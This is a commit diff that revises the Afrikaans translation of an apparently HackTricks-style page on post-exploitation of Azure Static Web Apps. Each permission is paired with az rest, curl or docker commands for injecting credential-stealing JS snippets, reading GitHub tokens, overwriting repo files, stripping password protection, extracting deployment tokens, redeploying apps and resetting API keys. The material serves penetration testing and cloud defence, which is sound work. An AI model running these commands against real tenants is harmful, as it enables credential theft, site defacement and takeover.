Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 11:55:18 +00:00
parent b2d50c620d
commit 1ab9412267
@@ -1,10 +1,10 @@
# Az - Statiese Web Apps Post Exploitatie
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Statiese Web Apps
## Azure Static Web Apps
Vir meer inligting oor hierdie diens, kyk:
For more information about this service check:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@ Vir meer inligting oor hierdie diens, kyk:
### Microsoft.Web/staticSites/snippets/write
Dit is moontlik om 'n statiese webblad te laat laai arbitraire HTML-kode deur 'n snit te skep. Dit kan 'n aanvaller toelaat om JS-kode binne die webtoepassing in te voeg en sensitiewe inligting soos geloofsbriewe of mnemonic sleutels (in web3 beursies) te steel.
Dit is moontlik om n static web page te laat laai arbitrêre HTML deur n snippet te skep. Dit kan n aanvaller toelaat om JS code in die web app in te spuit en sensitiewe inligting soos credentials of mnemonic keys (in web3 wallets) te steel.
Die volgende opdrag skep 'n snit wat altyd deur die webtoepassing gelaai sal word::
Die volgende opdrag skep n snippet wat altyd deur die web app gelaai sal word::
```bash
az rest \
--method PUT \
@@ -31,15 +31,15 @@ az rest \
}
}'
```
### Lees Geconfigureerde Derdeparty Kredensiale
### Lees Gekonfigureerde Derdeparty-referensies
Soos verduidelik in die App Service afdeling:
Soos verduidelik in die App Service-afdeling:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Deur die volgende opdrag uit te voer, is dit moontlik om **die derdeparty kredensiale** wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan bekom nie.
Deur die volgende opdrag uit te voer is dit moontlik om **die derdeparty-referensies te lees** wat in die huidige rekening gekonfigureer is. Let daarop dat as byvoorbeeld sekere Github-referensies in 'n ander gebruiker gekonfigureer is, jy nie toegang tot die token van daardie ander gebruiker sal hê nie.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Oorskrywe lêer - Oorskrywe roetes, HTML, JS...
### Oorskryf lêer - Oorskryf routes, HTML, JS...
Dit is moontlik om 'n **lêer binne die Github repo** wat die app bevat, deur Azure te **oorskrywe** deur die **Github token** 'n versoek te stuur soos die volgende wat die pad van die lêer om te oorskrywe, die inhoud van die lêer en die verbintenisboodskap sal aandui.
Dit is moontlik om 'n **lêer binne die Github repo te oorskryf** wat die app bevat deurdat Azure die **Github token** het en 'n versoek stuur soos die volgende, wat die pad van die lêer wat oorskryf moet word, die inhoud van die lêer en die commit-boodskap sal aandui.
Dit kan deur aanvallers misbruik word om basies die **inhoud van die web app** te verander om kwaadwillige inhoud te dien (steel akrediteer, mnemonic sleutels...) of net om **sekere pades** na hul eie bedieners te herlei deur die `staticwebapp.config.json` lêer te oorskrywe.
Hierdie kan deur aanvalers misbruik word om basies die **inhoud van die web app te verander** om kwaadaardige inhoud (inlogbesonderhede, mnemonic-sleutels...) te lewer of net om sekere paaie na hul eie bedieners te **herlei** deur die `staticwebapp.config.json`-lêer te oorskryf.
> [!WARNING]
> Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige manier te kompromitteer, hulle ook die lêer direk vanaf Github kan oorskrywe.
> Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige wyse te kompromitteer, kan hulle die lêer ook direk vanaf Github oorskryf.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
Met hierdie toestemming is dit moontlik om die **wagwoord** wat 'n statiese webtoepassing beskerm, te **wysig** of selfs elke omgewing te ontprotect deur 'n versoek te stuur soos die volgende:
Met hierdie toestemming is dit moontlik om **die wagwoord te wysig** wat 'n static web app beskerm of selfs elke omgewing onbeskerm te maak deur 'n versoek te stuur soos die volgende:
```bash
# Change password
az rest --method put \
@@ -133,32 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Hierdie toestemming laat toe om die **API sleutel ontplooiingstoken** vir die statiese app te verkry:
Hierdie toestemming laat toe om die **API key deployment token** vir die static app te kry.
Gebruik az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Dan, om 'n app met die **token** op te dateer, kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag verkry is deur te kyk **hoe Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) werk**, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. So die beeld en parameters kan in die toekoms verander.
Gebruik AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Dan, om **'n app by te werk met die token** kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag onttrek is deur te kyk hoe die Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) werk, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. Dus kan die image en parameters in die toekoms verander.
> [!TIP]
> Om die app te ontplooi, kan jy die **`swa`** hulpmiddel van [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) gebruik of die volgende stappe volg:
> Om die app te ontplooi kan jy die **`swa`** gereedskap van [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) gebruik of die volgende basiese stappe volg:
1. Laai die repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) af (of enige ander repo wat jy wil ontplooi) en voer `cd react-basic` uit.
1. Laai die repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (of enige ander repo wat jy wil ontplooi) af en voer `cd react-basic` uit.
2. Verander die kode wat jy wil ontplooi
3. Ontplooi dit deur (Onthou om die `<api-token>` te verander):
3. Ontplooi dit deur die volgende uit te voer (Onthou om die `<api-token>` te verander):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Selfs al het jy die token het, sal jy nie in staat wees om die app te ontplooi as die **Deployment Authorization Policy** op **Github** gestel is nie. Om die token te gebruik, sal jy die toestemming `Microsoft.Web/staticSites/write` nodig hê om die ontplooiingmetode te verander om die API-token te gebruik.
> Selfs al het jy die token sal jy nie die app kan ontplooi nie as die **Deployment Authorization Policy** op **Github** gestel is. Om die token te gebruik benodig jy die toestemming `Microsoft.Web/staticSites/write` om die deployment-metode te verander sodat dit die API-token gebruik.
### Microsoft.Web/staticSites/write
Met hierdie toestemming is dit moontlik om die **bron van die statiese web app na 'n ander Github-repo te verander**, egter, dit sal nie outomaties voorsien word nie, aangesien dit vanaf 'n Github Action gedoen moet word.
Met hierdie toestemming is dit moontlik om die **bron van die static web app na 'n ander Github repository te verander**, maar dit sal nie outomaties geprovisioneer word nie aangesien dit vanuit 'n Github Action gedoen moet word.
As die **Deployment Authorization Policy** op **Github** gestel is, is dit moontlik om die **app vanaf die nuwe bronrepo op te dateer!**.
As die **Deployment Authorization Policy** op **Github** gestel is, is dit moontlik om **die app vanaf die nuwe bron-repository op te dateer!**
In die geval dat die **Deployment Authorization Policy** nie op Github gestel is nie, kan jy dit met dieselfde toestemming `Microsoft.Web/staticSites/write` verander.
As die **Deployment Authorization Policy** nie op **Github** gestel is nie, kan jy dit verander met dieselfde toestemming `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -181,7 +187,7 @@ az rest --method PATCH \
}
}'
```
Voorbeeld Github Aksie om die app te ontplooi:
Voorbeeld Github Action om die app te ontplooi:
```yaml
name: Azure Static Web Apps CI/CD
@@ -244,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Met hierdie toestemming is dit moontlik om die **API-sleutel van die statiese webtoepassing te reset**, wat moontlik die werkvloei wat die toepassing outomaties ontplooi, kan DoS.
Met hierdie toestemming is dit moontlik om die **API key van die static web app te reset**, wat moontlik die werkstrome wat die app outomaties ontplooi, kan DoSing.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
Hierdie toestemming laat toe om **'n uitnodiging aan 'n gebruiker te skep** om toegang te verkry tot beskermde paaie binne 'n statiese webtoepassing met 'n spesifieke gegewe rol.
Hierdie toestemming laat toe om 'n uitnodiging aan 'n gebruiker te **skep** om toegang te verkry tot beskermde paadjies binne 'n static web app met 'n spesifieke gegewe rol.
Die aanmelding is geleë in 'n pad soos `/.auth/login/github` vir github of `/.auth/login/aad` vir Entra ID en 'n gebruiker kan uitgenooi word met die volgende opdrag:
Die aanmelding is geleë in 'n pad soos `/.auth/login/github` vir github of `/.auth/login/aad` vir Entra ID, en 'n gebruiker kan uitgenooi word met die volgende opdrag:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -266,11 +272,11 @@ az staticwebapp users invite \
```
### Pull Requests
Standaard sal Pull Requests van 'n tak in dieselfde repo outomaties saamgestel en gebou word in 'n staging-omgewing. Dit kan misbruik word deur 'n aanvaller met skryfrechten oor die repo, maar sonder om die takbeskermings van die produksietak (gewoonlik `main`) te kan omseil om **'n kwaadwillige weergawe van die app** in die staging-URL te ontplooi.
Standaard word Pull Requests van 'n tak in dieselfde repo outomaties saamgestel en in 'n staging-omgewing gebou. Dit kan misbruik word deur 'n aanvaller met skryftoegang tot die repo, maar wat nie die takbeskermings van die produksietak (gewoonlik `main`) kan omseil nie, om **'n kwaadwillige weergawe van die app te ontplooi** in die staging-URL.
Die staging-URL het hierdie formaat: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` soos: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Let daarop dat eksterne PR's standaard nie werksvloei sal uitvoer nie, tensy hulle ten minste 1 PR in die repository gemeng het. 'n Aanvaller kan 'n geldige PR na die repo stuur en **dan 'n kwaadwillige PR** na die repo stuur om die kwaadwillige app in die staging-omgewing te ontplooi. HOWEVER, daar is 'n onverwagte beskerming, die standaard Github Action om in die statiese web app te ontplooi, benod toegang tot die geheim wat die ontplooiingstoken bevat (soos `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) selfs al word die ontplooiing met die IDToken gedoen. Dit beteken dat omdat 'n eksterne PR nie toegang tot hierdie geheim sal hê nie en 'n eksterne PR nie die Werksvloei kan verander om hier 'n arbitrêre token te plaas sonder dat 'n PR aanvaar word nie, **sal hierdie aanval regtig nie werk nie**.
> Let wel dat eksterne PRs standaard nie workflows sal laat loop nie, tensy hulle ten minste 1 PR in die repo gemerg het. 'n Aanvaller kan eers 'n geldige PR na die repo stuur en **dan 'n kwaadwillige PR** stuur om die kwaadwillige app in die staging-omgewing te ontplooi. EGTER, daar is 'n onverwagte beskerming: die standaard Github Action om in die static web app te deploy het toegang tot die secret nodig wat die deployment token bevat (soos `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) selfs al word die deployment met die IDToken gedoen. Dit beteken dat omdat 'n eksterne PR nie toegang tot hierdie secret sal hê nie en 'n eksterne PR nie die Workflow kan verander om hier 'n arbitrêre token te plaas sonder dat 'n PR aanvaar word nie, **sal hierdie aanval nie regtig werk nie**.
{{#include ../../../banners/hacktricks-training.md}}